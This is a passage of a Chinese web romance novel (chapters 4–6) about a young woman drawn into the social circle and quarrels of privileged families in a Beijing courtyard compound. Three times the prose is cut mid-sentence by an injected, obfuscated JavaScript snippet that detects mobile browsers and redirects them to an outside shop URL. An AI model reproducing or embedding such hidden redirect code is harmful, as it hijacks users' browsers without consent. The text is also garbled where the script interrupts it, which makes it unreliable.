她跟这些人的关系说近不近说远不远,平时没事瞎扯扯还行,但没办法聊得太深。 宋黎若一直跟他眨眼睛,又往钟缊酌那边递下巴,涂敬舟终于看懂了些:“那行吧,我去还不成。缊酌,你也一起啊。” “是呀是呀,咱仨正好有个伴。” 被俩人同时劝,钟缊酌也不好再推脱,只能点头答应。她指了指挑出来的一摞书:“就这些吧。” 宋黎若开心地从椅子上蹦下来:“等我帮你拿!” - 周二这天,钟缊酌和宋黎若结伴坐车来到西四胡同。 从胡同一直往里走,直到看见一片绿色的爬藤下,隐约藏着一扇隐蔽的木门。这里以前大概是个四合院,后来被改成了会所。 “缊酌,你看看我的妆容花没花,脸还显黑吗?”宋黎若紧张兮兮地一边问一边摆弄她的空气刘海。 “没花,特别白特别漂亮。”钟缊酌凑近揶揄道,“怎么,今天这里有你的心上人啊。” “别胡说!你不懂。”宋黎若抱起双臂,“聚会就是要给伙伴们展现出自己最好的一面,不然肯定会被他们背后议论,啊你看那个宋小姐,灰头土脸的丧气样,最近肯定混得不咋地。” 听完这番言论的钟缊酌无奈耸耸肩:“还好我不混你们的圈子,不用纠结这些。” 两人说话的功夫,从宅院里走出一个风度翩翩,面如冠玉的男人。钟缊酌立即认出了这个人,是吴少维。 “就等你们三个了。”吴少维向她们身后望了眼,奇怪道,“涂敬舟呢?” “他说有事晚点来,没关系,咱们先开始。” “好嘞。” 这是一座二进院的四合院,檐上四角翘起,曲径通幽。 穿过一道垂花门,来到正房,三五人坐在沙发上吃点心聊天,屏风后面,剩下的人在一张八仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271596|198123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上打牌。 “呦,宋大小姐来了。”张桢最先迎上来,热情地将两人请进屋,“这位...我想想,肯定见过。噢对了,是钟缊酌,缊酌妹妹是吧。” 钟缊酌礼貌道:“嗯,第一次参加你们的聚会,请多关照。” 一屋子人各自冲这边打了声招呼,正在玩牌的谈勉突然起身,和吴少维打了个手势:“老吴,你替我会儿,累了。” 吴少维明显迟疑了一下,而后目光落在两个姑娘身上,跟其中一位叮嘱:“若若,你记得照顾好缊酌。” 宋黎若叉起腰:“废话,我用你说。” 两人被沙发上的几个女孩拉过去吃点心,诺大的茶几上摆满了各式各样的水果和糕点,都是老字号牌子下的。 “尝尝这个,很好吃。” “还有这个也不错。” “你们是不是在放暑假?真羡慕学生党能有假期。” “......” 断断续续地聊天中,钟缊酌总算将人认识了个大概。 这几张面孔她在院儿里几乎都见过,只是名字和脸对不上号。 其中一人她愣是想不起来,经宋黎若耳语,才知道那人五年前就搬走了。 她们正闲扯时,谈勉走过来顺势坐在了沙发的一角,翘起二郎腿独自玩手机。 好一会儿之后,姿态慵懒地开口:“有没有我的份儿啊,一口没吃着呢。” 旁边的女孩说:“有啊,怎么能少了你谈公子的。” 她从一堆糕点里拿起一块,“你吃这个桃花酥吧,省的老说自己没有桃花运。” 几个女孩都嗤嗤笑起来,谈勉撇撇嘴,没接过。 他伸出长指冲着宋黎若勾了勾,“我就想吃宋小姐手里那块。” 宋黎若正咬下一块糯米糕,给了他一个白眼,“有病啊。” 眼睛在桌上扫了半天,愣是没找到第二块糯米糕来,宋黎若无奈,“这块我吃过了大少爷。” “我又不会嫌弃你。”谈勉的声音里带着一丝混不吝,与其他矜贵沉稳的世家子弟不同,举手投足间露出一股痞气之相。 一直默不作声的钟缊酌看着这一幕,心里莫名升出一股吃瓜的心态。 这位谈公子......会不会喜欢若若? 他五官倒是俊逸潇洒,只是皮肤偏小麦色,也不知道若若喜不喜欢这个类型。 思绪游离间,从屏风后面走出一个人来,步态轻盈优雅,钟缊酌的视线被吸引过去。 那人穿一件浅灰衬衫,松松垮垮地垂落下来,一直走到窗边,掏出手机来似乎要打电话。 “他是傅沅宗。”终于应付完谈勉,宋黎若注意到好友的目光移向远处,凑过来说,“我也没见过他几次,应该很少来大院。” 钟缊酌点头:“确实没什么印象。” 此刻靠在窗边打电话的男人自然听不到有姑娘在背后议论自己,他正颇有兴致地调侃着对面的发小。 “我听吴少维说也邀请你了,结果当场被拒绝,这么残忍啊。” “小朋友们过家家,我凑什么热闹。”秦拂清似乎在抽烟,声音透着些沙哑。 听到这话,傅沅宗笑得衬衫下摆都跟着颤:“你才比他们大几岁,就装起大人了?那这么说来,我也不该参加,我跟你是一辈儿的。” “你比我小一岁,不打紧,勉强能融进去。” 傅沅宗被噎得笑不出来了,无奈吐槽:“你的生活就只有工作是吧?一点儿娱乐活动没有,活该累死在集团里。” 秦拂清顺着他道:“也挺好,就当为国家做贡献了。” 院子里的门响了,傅沅宗抬头望过去,看到一个很有少年气的男生走进来。 他忽然间想到一件事。 傅沅宗话音一转,“诶,涂家小公子今天也在,你不会因为他不来的吧?” 那边语调懒洋洋地,“胡扯什么,他跟我有何干系?” “谁不知道你俩老爷子当年的恩怨,他可且记着你仇呢。” 秦拂清嗤了声,“成王败寇,不服也得憋着。” 傅沅宗语气慢条斯理地,说出的话却能气死人,“你这么想,人家可不一定。你觉得吴少维会怎么看你?我猜猜,诶呦,那位心高气傲的秦总不会是心虚了吧。” 傅沅宗的激将法在秦拂清眼里可谓被透视得一览无余,可他有时候偏偏就吃这一套。 半响后,秦拂清掐掉烟,淡声吐出一句:“等我过去。” 4. 第四章 晚七点,秦拂清到达西四胡同时,大厨正把菜上完。 六女八男,分了两桌坐,一群人除了傅沅宗,似乎谁也没想到还会有人来。 刚刚还在欢声笑语热热闹闹地聊天,此刻空气霎时沉寂下来。 秦拂清也不客气,迈着长腿跨过门坎儿,将袖口挽起:“路过蹭个饭,还有位儿吗?” 其实位置是有的,只是在姑娘们那边,男生这边坐了八人,显然已经不富裕了。 正常来讲,这个时候大家定会招呼那人去对面坐,顺带调侃几句玩笑话。 可桌上这一圈儿要身份有身份要背景有背景的公子哥,愣是没一人敢张这个嘴。 还是吴少维主动站起来,将主位让出:“秦总,坐这儿吧,我再加把椅子。” 秦拂清没跟他推让,直接走过去,拉开椅子坐下。 那副架势似乎他就该坐这个位置,又或者在这种小辈们的聚会里,他根本不在乎谁该坐哪个位置。 吴少维出去搬椅子,可自打秦拂清一坐下,桌上的氛围就变得不对味儿了。 仿佛好好的聚餐突然间变成了开大会,所有人的一言一行都开始谨慎起来。 而坐在最外面的涂敬舟,脸色更是阴沉,把筷子一扔,直接起身走出了屋子。 “去哪儿啊敬舟?” “帮少维搬椅子去。” 谈勉也算众人里最没调性的,他斜靠在椅背上,手指骨抵住太阳穴:“秦总,很少见您来参加这种聚会啊,今儿突然到访不会是接了上头指令,来抽查我们有没有铺张浪费的吧?” 秦拂清扯起唇角笑了声,“你非要这么理解也可以。” 本是开玩笑的一句话,没想到他竟应了下来。谈勉自讨没趣,在心里暗骂自己真不该多这个嘴。 这一下子一顿饭吃得更加心事重重,只有傅沅宗幸灾乐祸地在那儿倒酒。 他直接起了一杯:“我先敬各位,也跟大家坦白一件事,今天秦总是我叫过来的,当然不是为了查大家的岗。” 顿了一瞬后,傅沅宗接着道:“是这样,秦总家里面最近重新装修,之后可能会来东四街大院这边住一段时间,趁此机会跟大家熟悉一下,别有负担,痛快吃。” 这一段坦白词说出之后,所有人都明显松了口气。接着又继续开始夹菜,聊天,敬酒的环节。 秦拂清舀了勺金汤鱼翅,在傅沅宗耳边低语:“你倒挺有节目,把我激来就为这事儿?我什么时候去哪儿住要先混圈子了。” “混圈子不是坏事儿,你也要学会多跟年轻人相处,别把自己架得太高。” 秦拂清淡笑了一声,没再说什么。 好一会儿之后,吴少维跟涂敬舟才搬着椅子进了屋。 涂敬舟将人按在自己的座位上:“你坐这儿,我去找缊酌她们,这桌加不了位置,太挤。” 姑娘们那一桌在屏风另一侧,涂敬舟搬着椅子过来时,一群人正在窃窃私语地议论。 议论的内容无非是秦拂清本人真英俊,气质真好,看那架势这一屋子二代们是谁都惹不起。 涂敬舟黑着脸坐在了钟缊酌的旁边。 此刻正叽叽喳喳同旁人聊天的宋黎若赶紧闭了嘴。虽说两人的恩怨跟她没关系,但总不能给好朋友贴脸开大。 况且,还是因为她的原因将他拉进了这个局里。 钟缊酌倒是很冷静,她已经见过两次秦拂清,也对他们圈子里谁地位高低不感兴趣。 两人极力扯些别的话题,来转移涂敬舟的注意力。可他依然没什么精神,饭吃了一半就说家里有事,要临时先走。 “敬舟,你今天真不给面子,晚来早走,别说偷偷处对象了啊。” 有人在桌上半开玩笑地喊了声,惹得大家轰然一笑。 涂敬舟本来想直接走掉,哪知这么一闹又把他心里那股火撺了起来。 他不顾后果地回身讽刺:“没办法,谁叫这屋里来了大人物,我可没胆子多待。” 这一副阴阳怪气的口吻任谁都听出了些猫腻,众人脸色瞬间变得五花八门。 有人疑惑,有人吃瓜,还有几位显然是知情人,面色僵硬,尴尬得不知所措。 短暂安静之后,从桌子最里面的位置骤然传出一声冷笑:“你没胆子待这儿,倒是有胆子早走。” 那人嗓音平淡,语调里却透着一股瘆人的威严。 这种聚会一般不好提前离场,特别是有身位高的人物在。他这个行为本身就很不给面子了。 众人寻声望去,只见秦拂清已经放下筷子,背靠在圈椅上,目光凌厉。 他的话直接让涂敬舟定在了门口处,走也不是,不走也不是,他咬牙怒目,胸脯上下起伏着。 他不服气,可也没勇气当面跟秦拂清对峙。 最后还是张桢站了出来,勾着涂敬舟的肩膀说:“敬舟喝多了,搁这儿耍酒疯呢,我送送他。” 说完一把将人拽出屋子,迈过门坎儿时两人还踉跄了一下。 “大家别愣着了,接着吃啊。”吴少维吆喝道,“难得一聚,别让场子凉下来。” 这一段小意外过去,似乎谁也没放在心上,又接着吃吃喝喝起来。 目睹这一场景,另一边的宋黎若心里很是愧疚。早知如此,就不应该拉着敬舟跟她们一块来。 钟缊酌揉了揉她的肩膀,很体贴地安慰:“别太担心,咱们吃完就回去看他。” 一顿饭一直持续到八点还没有结束的意思,女孩子们早就吃饱,只是对面那桌还在喝酒侃大山。 钟缊酌提议去院子里透透气,宋黎若摆手说她累了,想在沙发上躺一会儿。 “那我自己去了,你好好休息。” “嗯,你去吧,不用管我。” 京市的夏季往往是干燥且闷热的,今日倒是来了阵凉风,将那份燥意吹散了些。 钟缊酌站在月色溶溶的高墙之下,感受着难得一份孤独且自由的惬意。 不知何时,诺大的院子里多了个黑色身影。 钟缊酌只顾欣赏景色,并未察觉有人靠近。 待那份强烈的男性气息将周身裹住,钟缊酌才惶然回过头。 看清来人后,不自觉吞了下口水:“秦先生,你也出来透气呀。” 她今天穿得挺素,烟灰色针织T恤加一件米白色长裙,背着手站在洒满月光的院子里,整个人显得清淡又素雅。 秦拂清一手抄进裤子口袋,另一只手自然垂下,像是拿了什么东西,望着女孩儿轻轻点下头:“不必先生先生的称呼,你和他们一样,喊我秦总就好。” 钟缊酌脸上浮现出隐约的诧色。 仔细一想,先生这个称呼确实会显得太客套了些。 她温声回应:“好的,秦总。” 秦拂清身姿挺拔,总会给人带来一股无形的压迫感。这会儿不在饭局上,姿态明显松散许多,把玩着手里的东西问:“你也住东四街大院吗?” 说起来,在这里遇见她还挺意外的。秦拂清进来时,隔着一道屏风看不真切,差点儿以为看走了眼。 钟缊酌反应几秒,才慢慢明白过来他的意思。 他跟这一屋子人基本都认识,而他们大都是大院那边体制内的原住户,但在古玩馆相遇之前,他却不认识她。所以大概会觉得挺奇怪? “嗯,我是三年前才搬进去的,家里人买的房子。” 她刻意强调是买的房子,也是好让他明白,她不是这个圈子的。 秦拂清定睛凝视她片刻,若有所思道:“难怪,你身上没有那种污浊气。” 没有污浊气? 被他这样讲,钟缊酌一时不知该做出什么反应了。 这句话听起来像是夸奖,可她不明白怎么会有人夸赞别人的同时连带把自己都骂了的。何况是如此身份尊贵之人。 钟缊酌只好含糊着回:“您谬赞了,我也是挺俗的一人。” 听到这句话,秦拂清突然笑了下。 平时看着严肃惯了的人,笑起来的那种反差会让人觉得有一种不真实的撕裂感。 钟缊酌欲言又止,嘴唇都咬红了,她很生硬地扯开话题:“秦总,上次在古董展的时候,多谢您帮我解围。” “无碍,顺手的事。” 秦拂清似是想起什么,手指扬了扬,问她道:“你是跟涂敬舟认识?” 他这样问,大概是看到她在饭桌上和敬舟互动。 不清楚他们之间到底有什么恩怨,钟缊酌思来想去,最后还是决定实话实说:“认识,我来大院之后交往的朋友不多,就只跟他和宋黎若熟悉一些,也是第一次参加这样的聚会。” 黑沉的夜幕笼罩下来,钟缊酌看不大清他的表情。只觉得空气安静了好一阵后,听到秦拂清嗓音极淡地“嗯”了声。 钟缊酌想给涂敬舟说点好话,想说他人其实挺不错的,你们之间可能有些误会,又觉得不太合适。 她在他这里充其量只是个员工,还是个临时员工,拿什么身份跟他讲这些话。 气氛有些僵硬,为了寻找话题,钟缊酌眼睛四处乱瞟,终于看清他食指和中指之间夹了根烟。 蓦地反应过来他应该是出来抽烟的,都跟她在这儿胡扯了半天也没发现。 “您...是要抽烟吗?”她试探着问。 秦拂清低头看了眼手指:“你不提醒差点儿忘了。” 他看向边上的一颗小叶黄杨,“你在这儿吹风吧,我去那边抽。” 说完之后,不等钟缊酌做出反应,便迈着步子走了过去。 他倒是还挺绅士的...... 钟缊酌记得,第一次跟他见完面后可是怕得要死呢。 屋内时不时传出一阵玩闹嬉笑的声音。钟缊酌担心有人传闲话,没待两分钟便回屋找宋黎若去了。 - 翌日一大早,两人把涂敬舟约去大院里的活动室,这个时间基本上没人,方便聊些私密话题。 昨晚回去的时候,钟缊酌给涂敬舟打了电话,说想去看看他,他愣是不让,意思这会儿没心情聊天。 “涂公子,你今天有心情聊天啦?” 宋黎若坐在舞厅的地板上,双腿一盘,昂着头笑。 也只有像宋黎若这样大大咧咧的性子,在这个时候还敢无所畏惧地笑话他。 涂敬舟摸了摸鼻子,有点儿不好意思地解释:“抱歉,昨晚确实喝多了。缊酌,我没对你说重话吧?” 钟缊酌“嗯”一声,“说了,说了很多呢,你仔细回想回想? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴少维算是所谓知情者之一,这次聚会他同时邀请了两人,想着涂敬舟出国四年应该将恨意淡忘了,本意也是希望让两人化干戈为玉帛。都混一个圈子的,不至于因为父辈那点事儿掐到这个地步。 没想到涂敬舟这小子脾气是一点儿没改,若当时真闹起来,他倒成了罪人了。 可吴少维又不好直接找涂敬舟道歉,便叫来了跟他关系最近的两个姑娘。 “你们帮我劝劝他,说点儿好话,我可真不是故意要给他难堪。” 宋黎若一副知心妹妹的模样,“你放心吧,包在我们身上。” 吴少维叹口气,“他父亲死心眼,他也绕不过这坎儿。” 钟缊酌和宋黎若互相对视了一眼,等着他继续讲。 吴少维所说的内容前半部分和涂敬舟讲的差不多,只是在后面稍有不同。 原来她们早上听的故事还没结束。 说是秦政庭升迁后,项目推进得也很顺利,涂裕明却跟好几个关系近的同僚暗示,他是靠着有后台才打败的自己。 大家心知肚明,秦政庭虽说家世不错,但远远没到能靠后台升迁的地步,后来涂裕明见没人替自己说话,明白大势已去,才申请调去了别的组。 故事的结局令人唏嘘,钟缊酌不知道涂敬舟对这件事的背后了解多少,但作为失势一方的好朋友,她们没办法站在道德角度去批判他的家人。 “行了,咱也不聊这么沉重的话题了。” 吴少维见两位姑娘面色黯淡,从抽屉里随手拿出几张印着五颜六色图案的卡片来,“我这儿有几张音乐剧的门票,你们有没有兴趣去看看?” 宋黎若瞄了眼,“我可以,什么时候的啊?” “明晚七点半开始。” 她很可惜地摊手,“那不行了,我明天一整天都有约。” 吴少维转向另一人,“缊酌,你呢?” 其实钟缊酌是有点儿兴趣的,但想到这样一来就只有他们两人,会不会不太合适? 紧接着,又被自己的封建思想气得想笑。什么年代了,男女单独看个演出又不是什么大不了的事。 她伸手接过,痛快道:“行,我跟你去吧。” 吴少维送走了两个姑娘,去冲了个澡。 出来后,头发还湿着,看到屏幕上有一个未接来电。 若是别人,他或许不会搭理,等忙完了再回复也无所谓,可这个人偏偏是秦拂清。 吴少维用毛巾简单擦两下后,拨了回去。 “刚刚没接到,怎么了?” “明天搬家的事儿,你别忘了。” 秦拂清那边似乎有箱子撂下的摩擦声,他屋子里应该是有人在收拾东西。 吴少维扯了扯毛巾,将滴落的水珠蹭掉,“噢,记得呢,我下午就过去。” “下午不一定能搬到,晚上七点左右差不多。” 秦拂清这次来大院会顺带拉一些私人藏品,他没时间亲自过来,因藏品价值较高,吴少维答应他帮忙看着。 可这样一来,他的约会就要泡汤了。 吴少维跟他商量:“那你催下那边尽量快点成不?我晚上还有约。” 秦拂清顺口一问:“什么约啊?” “说好了和缊酌去看音乐剧的。” 吴少维是觉得男生跟姑娘约会这种事一般人听了都会理解,也就没刻意隐瞒。 电话那头沉默几秒,突然反问一句:“钟缊酌?......你跟她很熟吗?” 5. 第五章 这话问的,就跟他和缊酌挺熟似的。 他明明跟她都不认识好吧? 吴少维将问题又抛了回去:“你不是昨晚才第一次见她?怎么说的好像你俩关系挺近。” 也不知是不是他的错觉,秦拂清的语气听起来有些不悦:“倒不是第一次见。算了,我会催那边,你记得自己该办的事儿就成。” 说完他就挂了。 吴少维拿手机看了又看,反复确认,这就挂了? 他还想问问他之前在哪儿见过缊酌呢。 秦拂清这人虽看着不好相处,真正接触下来架子倒不大,除非碰着他逆鳞。 吴少维思虑再三,还是决定不问了。 他不想说的时候再多嘴就显得不懂事了,反正以后有的是机会知道。 开车到剧院要半个小时,钟缊酌直接坐了吴少维的车过去。 说起来,这还是她第一次单独坐男生的车。 钟缊酌有些拘谨地目视前方,像是为了去除他对自己高冷的刻板印象,钟缊酌主动挑起话题:“这车......是不是奔驰s500呀?” 吴少维惊讶地“嗯”了声,“你还懂车啊?” “懂一点,有时候听到男生们讨论就记下了。”钟缊酌继续把那关于车仅有的一点知识往外掏,“我记得是3T六缸的发动机,最大功率448马力,前置四驱驱动的对不对。” 吴少维没寻着这个话题探讨,只是觉得稀奇,他还从没见过对车型参数懂得这么多的女孩子。 “你是对车很感兴趣吗?”他问。 钟缊酌想了下,坦白道:“没有......” 吴少维:“那为什么想讨论这个?” 钟缊酌不好意思地用手指挠挠脸颊:“我不知道能跟你聊什么。” 话音刚落,另一头的男人已经忍不住噗嗤笑起来。 这姑娘看着清清冷冷,寡淡无趣的性子,再深一接触,没想到是个挺有亲和感的直女。 吴少维开始夸起她来:“记忆力真强,听一听就能全部记下,怪不得能考上好学校。” 对于记忆力好这件事,钟缊酌倒是没什么好谦虚的,若非如此,她也不能记住那么多的古董资料。 但她犹豫着该怎么接话,总不能问他是哪个不好的学校吧?这得多没情商呀。 哪知吴少维愣是没让这话掉到地上,主动报起了校门:“若若应该没和你说过,我是政大毕业的。” 钟缊酌松口气,“那你是学法的吗?” “刻板印象了不是。”吴少维一本正经道,“我是翻译专业。” 经这话一提点,钟缊酌想起听说过他爷爷曾经是在外交部工作,恍然大悟似地感叹:“噢,那你英语一定很好吧!” 吴少维挺谦虚地说:“还成。” 实际上,他的英语成绩当初在班里可是排名前三的呢。 钟缊酌这边也没再往下问,她就是感慨一下,因为想到了自己总提高不上去的雅思成绩。 今天看的这场演出名为歌剧魅影,全球知名的音乐剧,钟缊酌自然也听说过。 故事的背景发生在巴黎歌剧院,男主是个音乐奇才,因毁容长期戴着面具,发现女主的唱歌天赋指导其成为歌剧院首席。男主爱上女主后,却发现女主与竹马谈上了恋爱,由此而引发了一系列爱情纠葛。 剧集演到高.潮时,男主拽着女主进入地下河,撑起船驶向他心中的秘密圣地。 吴少维不经意抬眸瞥了一眼旁边的女孩。 钟缊酌正看得入迷,黑色清透的眼珠一动不动,昏暗灯光下,耳鬓边的碎发染着半点光晕。 他忍不住问她:“缊酌,如果你是女主,会选择哪一个男人作为最终伴侣?” 蓦地被人从故事中唤醒,钟缊酌眨眨眼,反应了几秒后,侧头看向他。 她看上去挺纠结的样子:“如果我是女主,应该会逃跑吧。” “为什么?” 钟缊酌做出被吓到的表情,“男主太疯狂了,我可能会压力大到睡不着觉。” 吴少维“咦”了声,“看你这么入迷,我以为你会喜欢这样的男主。” 他这样想也不难理解,现在的女孩子相比老实人,似乎更喜欢这样疯狂浓烈的爱情。 那句话怎么说来着,健康的恋爱固然重要,但畸形的爱情实在诱人。 钟缊酌摇头:“作为局外人看看故事可以,但代入自己就要喊救命了。” “所以还是喜欢细水流长的感情是不?” “嗯,应该是吧。” 她的回答不是很明确,但马上要演到结局反转,所有人都在屏息观看,吴少维也没再打扰她。 观影结束后,已经是晚上十点多。 车子刚行进大院,迎面走过两个人来。其中一人应该是熟悉这辆车,很自然地抬手打了声招呼。 吴少维降下车窗,跟那人客套两句,钟缊酌也顺着望了一眼。 这一下心脏瞬间紧揪起来。 杜洺刚刚还挂着虚伪笑意的嘴脸,在看到钟缊酌时,也不自然地往下扯了扯。 他不确定似地开口:“你们两个......是在约会吗?” 钟缊酌注意到吴少维的脸上有片刻的凝滞,但很快恢复如常,“没,就是赶上一起看个演出。” 杜洺若有所思地“噢”了声。 钟缊酌心里有点乱。 不知道他会怎么想,会怎么猜忌,其实她倒也不在乎,只是怕杜洺那个大嘴巴会瞎传。 这个想法在周五这一天,到底还是被印证了去。 那会儿钟缊酌正在院儿里的食堂吃饭,陶姨回老家看望亲人,她便一个人跑来食堂对付两口。 吃到一半,有三个女孩子并排走了进来,中间那人一见到她,直接拉着另外两人坐到了对面。 钟缊酌只顾低头吃也没在意,直到她听到对面说话的声音有些耳熟。 杜薇的嗓音非常尖,此刻还故意提高了音量:“你们听说了吗?最近吴家公子谈了个对象,好像门不当户不对的,连约会都要趁晚上偷偷去......” 不用再听,钟缊酌也知道她说的是谁。定是她哥将昨晚的事情添油加醋给她讲了一遍。 这俩人什么货色她心里清楚,钟缊酌本来是想赶紧吃完走人,结果竟然听到杜薇开始指名道姓地点她:“我知道那女的是谁,就是几年前才搬进咱院儿里的钟小姐......” 钟缊酌的火气一下子上来了。 如果不直接把这事儿安在她身上,她或许能当作什么都没听到。 可她做得太过分,今天若不表明个态度,怕是不到一周整个大院都要传遍。 钟缊酌把碗筷重重往桌上一撂,发出“咣当”一声,两步走到杜薇面前。 “第一,我没有和吴少维在交往。第二,就算我们谈了,也是我们两个人的事,跟你有什么关系?值得你在这儿嚼舌根?” 另外两位女生显然没料到八卦的正主就坐在对面,面面相觑,一时不知说什么好。 杜薇冲她翻了个白眼儿:“你自己行不端坐不正,还不许人说了?” 钟缊酌皱眉,“讲清楚,我怎么行不端坐不正个法?” 所幸今日来食堂吃饭的人不多,这一场争吵并未引来旁人围观。 杜薇向四周扫视一圈,阴阳怪气道:“你这样暴发户出身的,又赶上家道中落,吴少维能看得上?姿色也平平,指不定用什么手段勾引人家的呢。” 钟缊酌气得想笑,她把她想成什么妖怪了吗? 按她讲的,自己手里拿不出一张牌,还能勾搭上个二代,这除了下蛊真解释不通。 钟缊酌淡定道:“我手段再高,至少两厢情愿不害人,不像你爹靠拍马屁上位把别人挤下去。” “你!”仿佛被戳中了肺管子,杜薇急得一下子站了起来,“你不要在这儿胡说八道!” “算了算了,是我们背后议论人在先......”旁边的女生见事情收不住,都跟着劝了起来。 钟缊酌冷眼瞧着她,最后撇下一句:“再说一遍,我跟吴少维清清白白,都是你和杜洺的臆想而已。” ...... 晚上,钟缊酌做完几套听力题,只觉得是左耳进右耳出,什么都没记住。 她跑去给阳台的绿植浇了一遍水,顿感疲乏,早早洗漱躺下了。 脑袋刚沾到枕头,手机屏幕就亮了起来。 她打开一看,是冯伯给她发的信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271598|198123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【缊酌,我明天有事先不过去了,秦先生约了江岩老板来古玩馆,你记得好好招待。】 钟缊酌:【好的,没问题。】 放下手机后,钟缊酌又翻来覆去折腾了好久,终于数着星星睡着了。 翌日,清晨的微光透过树叶缝隙洒进胡同里,仿佛给地面渡上了一层金。 钟缊酌踩着这层金光,一边吃着早点,一边慢吞吞地往前走。 她今天起晚了,又不好把早饭带到馆里,只能尽量在路上吃完。 秦拂清约的是上午十点,还有一段空闲,钟缊酌坐在檀木桌上拿出专业书看。 但她没想到的是,他竟然比原定时间早到了半个钟头。 钟缊酌那会儿正聚精会神地在书上划着标记,一阵风从窗户吹进,旁边的草稿纸被吹落了好几张,她赶紧蹲下去捡。 秦拂清就是在这个时候进来的。 少女蹲在地上,纤细的手指里捏着一摞纸张,乌黑长发顺着肩头滑落到胸前,米白色的裙摆铺散在四周,表情纯挚又略带茫然。 这幅场景,让他莫名想起了维米尔笔下的油画。 “秦、秦总,您这么早来了。”钟缊酌略感尴尬,她草草将纸张夹在书里,往旁边一推,“抱歉,还没来得及准备茶水。” “不急,你这是在复习功课?”秦拂清定了定神,目光随着她的动作游离到桌面上。 秦拂清似乎对她的课本挺感兴趣,无视她刚刚遮掩的动作,走过去翻了翻那本书,“数据结构与算法啊。” 钟缊酌愣了下,低头站在一旁,有点儿不好意思地回他:“嗯,是。” 秦拂清琢磨了会儿,忽然想起什么似地,冒出一句让人摸不着头脑的话:“这个课程,难怪那时候.....” “什么?” “没事,这个专业挺好的,比我的实用。” 秦拂清淡笑道。 旁边的钟缊酌像是被勾出了好奇心,大着胆子问了一句:“那您是什么专业呀?” 说起来也奇怪,秦拂清无论从背景身份还是气场,都要比那些公子哥们更胜一筹,可她有时偏偏更敢和他聊这些私人话题。 秦拂清摸着一鼎铜金博山炉,声音很轻地回:“社会学。” 听他的口吻,应该不是很喜欢这个专业。但出生在这样的家庭里,学什么怕是也由不得自己。 钟缊酌点头,仿佛能洞察心思般,很有眼力见地将话锋一转:“您站半天也累了,我去备壶茶水吧。” 钟缊酌刚来古玩馆的时候,并不会泡茶,这手艺还是她跟冯伯现学的。 所谓现学现卖,总归差点意思。 钟缊酌将泡好的茶端上来,给秦拂清倒了一杯。 只抿上一口,秦拂清便在心里印证了一件事。 那黄寅安的确不是看上她泡茶的手艺,只是单纯看上她美色了。 他缓缓将茶杯放下,一点儿没留情面地点透:“跟冯伯学的手法?” 钟缊酌颔首:“是的,秦总。” “想学东西是好事儿,不过不能停留在学个皮毛,还要多向冯伯讨教。” 他话说的直白,语气却不生硬,让人听了不至于吓到。 只是钟缊酌心思敏锐,脸颊还是逐渐热了起来:“您批评的在理,我会好好反思。” 瞧着她薄薄的一层皮肤已经清晰地由白转红,秦拂清笑了笑,“别紧张,我又不会骂人。” 秦拂清最后还是把整整一杯茶灌进了肚子里。 钟缊酌几次欲言又止,可这时候又能说什么呢?总不能说不好喝就别喝了,人家来半天茶水都喝不上一口,像什么话。 他表现得倒不像很难喝的样子,钟缊酌真不知这个男人到底是抵抗力太强还是太会做表情管理。 钟缊酌思绪游离之际,又听到秦拂清问她一句:“你跟吴少维挺熟?” 这话乍一听没什么特别的,她只需如实回答就好。但在这个时间点问,不得不让钟缊酌多想了几分。 她和吴少维之间的八卦难道已经被传开了? 钟缊酌垂下眼睫,声音弱小且无力:“算不上多熟......” 另一头,秦拂清似笑非笑,平静地发出疑问:“那怎么约着去看音乐剧了呢?” 6. 第六章 秦拂清在和人说话时,总会礼貌性地注视着对方的眼睛,克制而疏离。 但也就是这种疏离,莫名挟着一股淡淡的压迫感。 于是在这场对视的较量中,钟缊酌下意识想躲开,身子也跟着往后撤了一寸。 不料手上的动作没收住,一下子打翻了新倒的茶水。 “对不起!”钟缊酌慌张将茶杯扶正,收走文件,准备拿毛巾去擦桌子。 此刻茶水温度还没降下来,她忍不住“嘶”了声,发现手背已经红了一片。 对面的秦拂清没再有多余的言语,直接起身:“一会儿再收拾,先过来,拿凉水冲冲。” 钟缊酌呲牙咧嘴地甩了甩手,跟着他去了卫生间的洗手台。 水龙头被板到了蓝色标识那一边,冰凉的水流顺着手背汩汩流下,的确舒适了许多。 秦拂清看着一片雪白中的那道殷红,眼里多了份无奈:“又没问你别的,至于吓成这样。” 他竟慢条斯理地解释上了,“我只是觉得奇怪,记得你之前说过,在大院里只和宋黎若涂敬舟这两人比较熟。” 看来八卦没有被传开,秦总就是单纯对她前后不一的话感到好奇罢了。 钟缊酌默默吐了口气。 痛感一阵阵地传来,她尽量保持语调平和:“我没骗您,那时候跟吴少维说过的话都没超过五句,一起看音乐剧也是凑巧赶上了。” 秦拂清:“怎么个凑巧法?” 钟缊酌又把这件事的前因后果大致给他讲了一遍。 听完后,秦拂清很敷衍地“哦”了一声,“确实挺巧的。” 她当然没听懂他话里话外的意思,只一味地道歉,说自己笨手跟脚的,给您添麻烦了。 “正常,回来收拾桌子吧。”秦拂清关掉水龙头,心不在焉道。 